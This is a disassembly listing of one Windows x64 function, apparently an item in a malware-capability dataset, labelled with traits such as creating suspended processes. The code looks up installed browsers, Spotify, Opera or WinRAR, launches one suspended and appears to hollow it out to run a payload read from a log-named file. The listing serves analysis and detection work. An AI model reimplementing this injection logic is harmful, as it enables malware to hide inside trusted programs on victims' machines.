Function at 0x1400da6f1
Capabilities:
Create process on windows
Create process suspended
Query environment variable
Terminate process

Disassembly:
jmp 0x1400fac20
push rbp
push rsi
push rdi
sub rsp, 0xd40
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x24c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x141189500]
xor rax, rbp
mov qword [rbp + 0xce8], rax
lea rcx, [0x1411a7125]
call fcn.1400dc9ec
nop
mov r8d, pe_nt_image_headers64
lea rdx, [rbp + 0x10]
lea rcx, str.USERNAME
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
nop
lea rax, str.C:WindowsLogsDPX_setuparr.log
mov qword [rbp + 0x128], rax
lea rdx, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
lea rcx, [rbp + 0x148]
call fcn.1400d987d
nop
lea rdx, str.C:Program_FilesGoogleChromeApplicationchrome.exe
lea rcx, [rbp + 0x188]
call fcn.1400d987d
nop
lea rdx, str.C:Program_FilesMozilla_Firefox_firefox.exe
lea rcx, [rbp + 0x1c8]
call fcn.1400d987d
nop
lea rdx, str.C:Program_FilesBraveSoftwareBrave_BrowserApplication_brave.exe
lea rcx, [rbp + 0x208]
call fcn.1400d987d
nop
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x918]
call fcn.1400d987d
mov qword [rbp + 0xcc8], rax
mov rax, qword [rbp + 0xcc8]
mov qword [rbp + 0xcd0], rax
mov r8, qword [rbp + 0xcd0]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x958]
call fcn.1400dcc2b
mov qword [rbp + 0xcd8], rax
mov rax, qword [rbp + 0xcd8]
mov qword [rbp + 0xce0], rax
lea r8, str.AppDataRoamingSpotifySpotify.exe
mov rdx, qword [rbp + 0xce0]
lea rcx, [rbp + 0x248]
call fcn.1400dc1f9
nop
lea rcx, [rbp + 0x958]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x918]
call fcn.1400d80ae
nop
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x998]
call fcn.1400d987d
mov qword [rbp + 0xcc8], rax
mov rax, qword [rbp + 0xcc8]
mov qword [rbp + 0xcd0], rax
mov r8, qword [rbp + 0xcd0]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x9d8]
call fcn.1400dcc2b
mov qword [rbp + 0xcd8], rax
mov rax, qword [rbp + 0xcd8]
mov qword [rbp + 0xce0], rax
lea r8, str.AppDataLocalProgramsOperaopera.exe
mov rdx, qword [rbp + 0xce0]
lea rcx, [rbp + 0x288]
call fcn.1400dc1f9
nop
lea rcx, [rbp + 0x9d8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x998]
call fcn.1400d80ae
nop
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xa18]
call fcn.1400d987d
mov qword [rbp + 0xcc8], rax
mov rax, qword [rbp + 0xcc8]
mov qword [rbp + 0xcd0], rax
mov r8, qword [rbp + 0xcd0]
lea rdx, str.C:Users_
lea rcx, [rbp + 0xa58]
call fcn.1400dcc2b
mov qword [rbp + 0xcd8], rax
mov rax, qword [rbp + 0xcd8]
mov qword [rbp + 0xce0], rax
lea r8, str.AppDataLocalProgramsOpera_GXlauncher.exe
mov rdx, qword [rbp + 0xce0]
lea rcx, [rbp + 0x2c8]
call fcn.1400dc1f9
nop
lea rcx, [rbp + 0xa58]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0xa18]
call fcn.1400d80ae
nop
lea rdx, str.C:Program_FilesWinRARWinRAR.exe
lea rcx, [rbp + 0x308]
call fcn.1400d987d
nop
mov qword [rbp + 0x348], 0
lea rcx, [rbp + 0x148]
call fcn.1400db63c
movzx eax, al
test eax, eax
je 0x1400faeba
lea rcx, [rbp + 0x148]
call fcn.1400d782f
mov qword [rbp + 0x348], rax
jmp 0x1400fafd9
lea rcx, [rbp + 0x188]
call fcn.1400db63c
movzx eax, al
test eax, eax
je 0x1400faee5
lea rcx, [rbp + 0x188]
call fcn.1400d782f
mov qword [rbp + 0x348], rax
jmp 0x1400fafd9
lea rcx, [rbp + 0x1c8]
call fcn.1400db63c
movzx eax, al
test eax, eax
je 0x1400faf10
lea rcx, [rbp + 0x1c8]
call fcn.1400d782f
mov qword [rbp + 0x348], rax
jmp 0x1400fafd9
lea rcx, [rbp + 0x208]
call fcn.1400db63c
movzx eax, al
test eax, eax
je 0x1400faf3b
lea rcx, [rbp + 0x208]
call fcn.1400d782f
mov qword [rbp + 0x348], rax
jmp 0x1400fafd9
lea rcx, [rbp + 0x248]
call fcn.1400db63c
movzx eax, al
test eax, eax
je 0x1400faf63
lea rcx, [rbp + 0x248]
call fcn.1400d782f
mov qword [rbp + 0x348], rax
jmp 0x1400fafd9
lea rcx, [rbp + 0x288]
call fcn.1400db63c
movzx eax, al
test eax, eax
je 0x1400faf8b
lea rcx, [rbp + 0x288]
call fcn.1400d782f
mov qword [rbp + 0x348], rax
jmp 0x1400fafd9
lea rcx, [rbp + 0x2c8]
call fcn.1400db63c
movzx eax, al
test eax, eax
je 0x1400fafb3
lea rcx, [rbp + 0x2c8]
call fcn.1400d782f
mov qword [rbp + 0x348], rax
jmp 0x1400fafd9
lea rcx, [rbp + 0x308]
call fcn.1400db63c
movzx eax, al
test eax, eax
je 0x1400fafd9
lea rcx, [rbp + 0x308]
call fcn.1400d782f
mov qword [rbp + 0x348], rax
cmp qword [rbp + 0x348], 0
jne 0x1400fb05f
mov dword [rbp + 0xa94], 0xffffffff
lea rcx, [rbp + 0x308]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x2c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x288]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x248]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x208]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x188]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x148]
call fcn.1400d80ae
mov eax, dword [rbp + 0xa94]
jmp 0x1400fba31
mov rcx, qword [rbp + 0x128]
call fcn.1400dafac
mov qword [rbp + 0x368], rax
cmp qword [rbp + 0x368], 0
jne 0x1400fb0f8
mov dword [rbp + 0xab4], 0xffffffff
lea rcx, [rbp + 0x308]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x2c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x288]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x248]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x208]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x188]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x148]
call fcn.1400d80ae
mov eax, dword [rbp + 0xab4]
jmp 0x1400fba31
mov rcx, qword [rbp + 0x368]
call fcn.1400dc587
mov dword [rbp + 0x384], eax
cmp dword [rbp + 0x384], 0
jne 0x1400fb1ac
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x368]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
mov dword [rbp + 0xad4], 0xffffffff
lea rcx, [rbp + 0x308]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x2c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x288]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x248]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x208]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x188]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x148]
call fcn.1400d80ae
mov eax, dword [rbp + 0xad4]
jmp 0x1400fba31
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x3b0]
call fcn.1400db335
nop
mov dword [rbp + 0x3b0], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x438]
call fcn.1400db335
nop
lea rax, [rbp + 0x438]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3b0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x348]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 0x464], eax
cmp dword [rbp + 0x464], 0
jne 0x1400fb2d2
mov rdx, qword [rbp + 0x368]
lea rcx, [rbp + 0x438]
call fcn.1400d845f
nop
mov dword [rbp + 0xaf4], 0xffffffff
lea rcx, [rbp + 0x308]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x2c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x288]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x248]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x208]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x188]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x148]
call fcn.1400d80ae
mov eax, dword [rbp + 0xaf4]
jmp 0x1400fba31
lea rdx, [rbp + 0x484]
mov rcx, qword [rbp + 0x438]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
nop
mov qword [rbp + 0x4a8], 0
mov qword [rbp + 0x4b0], 0
cmp dword [rbp + 0x484], 0
je 0x1400fb3f9
lea rdx, [rbp + 0x438]
lea rcx, [rbp + 0xb48]
call fcn.1400d9afd
lea rcx, [rbp + 0xb18]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x4a8]
lea rcx, [rbp + 0xb18]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rbp + 0x4b0], 0
je 0x1400fb364
cmp qword [rbp + 0x4a8], 0
jne 0x1400fb3f4
mov rdx, qword [rbp + 0x368]
lea rcx, [rbp + 0x438]
call fcn.1400d845f
nop
mov dword [rbp + 0xb74], 0xffffffff
lea rcx, [rbp + 0x308]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x2c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x288]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x248]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x208]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x188]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x148]
call fcn.1400d80ae
mov eax, dword [rbp + 0xb74]
jmp 0x1400fba31
jmp 0x1400fb4e3
lea rdx, [rbp + 0x438]
lea rcx, [rbp + 0xbc8]
call fcn.1400d8e64
lea rcx, [rbp + 0xb98]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x4a8]
lea rcx, [rbp + 0xb98]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rbp + 0x4b0], 0
je 0x1400fb453
cmp qword [rbp + 0x4a8], 0
jne 0x1400fb4e3
mov rdx, qword [rbp + 0x368]
lea rcx, [rbp + 0x438]
call fcn.1400d845f
nop
mov dword [rbp + 0xbf4], 0xffffffff
lea rcx, [rbp + 0x308]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x2c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x288]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x248]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x208]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x188]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x148]
call fcn.1400d80ae
mov eax, dword [rbp + 0xbf4]
jmp 0x1400fba31
mov rcx, qword [rbp + 0x368]
call fcn.1400dc3e8
mov dword [rbp + 0x4d4], eax
cmp dword [rbp + 0x4d4], 0
je 0x1400fb507
cmp dword [rbp + 0x484], 0
je 0x1400fb51d
cmp dword [rbp + 0x4d4], 0
jne 0x1400fb599
cmp dword [rbp + 0x484], 0
je 0x1400fb599
mov dword [rbp + 0xc14], 0xffffffff
lea rcx, [rbp + 0x308]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x2c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x288]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x248]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x208]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x188]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x148]
call fcn.1400d80ae
mov eax, dword [rbp + 0xc14]
jmp 0x1400fba31
cmp dword [rbp + 0x4d4], 0
je 0x1400fb5b6
mov rcx, qword [rbp + 0x368]
call fcn.1400d744c
mov dword [rbp + 0x4f4], eax
jmp 0x1400fb5c8
mov rcx, qword [rbp + 0x368]
call fcn.1400d7d57
mov dword [rbp + 0x4f4], eax
cmp dword [rbp + 0x4f4], 0xffffffff
jne 0x1400fb665
mov rdx, qword [rbp + 0x368]
lea rcx, [rbp + 0x438]
call fcn.1400d845f
nop
mov dword [rbp + 0xc34], 0xffffffff
lea rcx, [rbp + 0x308]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x2c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x288]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x248]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x208]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x188]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x148]
call fcn.1400d80ae
mov eax, dword [rbp + 0xc34]
jmp 0x1400fba31
cmp dword [rbp + 0x484], 0
je 0x1400fb689
mov rdx, qword [rbp + 0x4b0]
mov rcx, qword [rbp + 0x438]
call fcn.1400dacaa
mov dword [rbp + 0x514], eax
jmp 0x1400fb6a2
mov rdx, qword [rbp + 0x4b0]
mov rcx, qword [rbp + 0x438]
call fcn.1400dcc8f
mov dword [rbp + 0x514], eax
cmp dword [rbp + 0x514], 0xffffffff
jne 0x1400fb73f
mov rdx, qword [rbp + 0x368]
lea rcx, [rbp + 0x438]
call fcn.1400d845f
nop
mov dword [rbp + 0xc54], 0xffffffff
lea rcx, [rbp + 0x308]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x2c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x288]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x248]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x208]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x188]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x148]
call fcn.1400d80ae
mov eax, dword [rbp + 0xc54]
jmp 0x1400fba31
mov eax, dword [rbp + 0x514]
cmp dword [rbp + 0x4f4], eax
je 0x1400fb7e1
mov rdx, qword [rbp + 0x368]
lea rcx, [rbp + 0x438]
call fcn.1400d845f
nop
mov dword [rbp + 0xc74], 0xffffffff
lea rcx, [rbp + 0x308]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x2c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x288]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x248]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x208]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x188]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x148]
call fcn.1400d80ae
mov eax, dword [rbp + 0xc74]
jmp 0x1400fba31
cmp dword [rbp + 0x4d4], 0
je 0x1400fb7fe
mov rcx, qword [rbp + 0x368]
call fcn.1400dc04b
mov dword [rbp + 0x534], eax
jmp 0x1400fb810
mov rcx, qword [rbp + 0x368]
call fcn.1400d9404
mov dword [rbp + 0x534], eax
cmp dword [rbp + 0x4d4], 0
je 0x1400fb83d
cmp dword [rbp + 0x534], 0
jne 0x1400fb83d
mov rdx, qword [rbp + 0x368]
lea rcx, [rbp + 0x438]
call fcn.1400d93cd
test eax, eax
jne 0x1400fb8c4
cmp dword [rbp + 0x4d4], 0
je 0x1400fb866
cmp dword [rbp + 0x534], 0
je 0x1400fb866
mov rdx, qword [rbp + 0x368]
lea rcx, [rbp + 0x438]
call fcn.1400d879d
test eax, eax
jne 0x1400fb8c4
cmp dword [rbp + 0x4d4], 0
jne 0x1400fb88f
cmp dword [rbp + 0x534], 0
jne 0x1400fb88f
mov rdx, qword [rbp + 0x368]
lea rcx, [rbp + 0x438]
call fcn.1400d7a3c
test eax, eax
jne 0x1400fb8c4
cmp dword [rbp + 0x4d4], 0
jne 0x1400fb954
cmp dword [rbp + 0x534], 0
je 0x1400fb954
mov rdx, qword [rbp + 0x368]
lea rcx, [rbp + 0x438]
call fcn.1400da020
test eax, eax
je 0x1400fb954
mov rdx, qword [rbp + 0x368]
lea rcx, [rbp + 0x438]
call fcn.1400d97a6
nop
mov dword [rbp + 0xc94], 0
lea rcx, [rbp + 0x308]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x2c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x288]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x248]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x208]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x188]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x148]
call fcn.1400d80ae
mov eax, dword [rbp + 0xc94]
jmp 0x1400fba31
cmp qword [rbp + 0x368], 0
je 0x1400fb977
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x368]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
cmp qword [rbp + 0x440], 0
je 0x1400fb98f
mov rcx, qword [rbp + 0x440]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp qword [rbp + 0x438], 0
je 0x1400fb9ba
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x438]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov rcx, qword [rbp + 0x438]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [rbp + 0xcb4], 0xffffffff
lea rcx, [rbp + 0x308]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x2c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x288]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x248]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x208]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x188]
call fcn.1400d80ae
nop
lea rcx, [rbp + 0x148]
call fcn.1400d80ae
mov eax, dword [rbp + 0xcb4]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14029f630]
call fcn.1400dba47
mov rax, rdi
mov rcx, qword [rbp + 0xce8]
xor rcx, rbp
call fcn.1400d9af8
lea rsp, [rbp + 0xcf0]
pop rdi
pop rsi
pop rbp
ret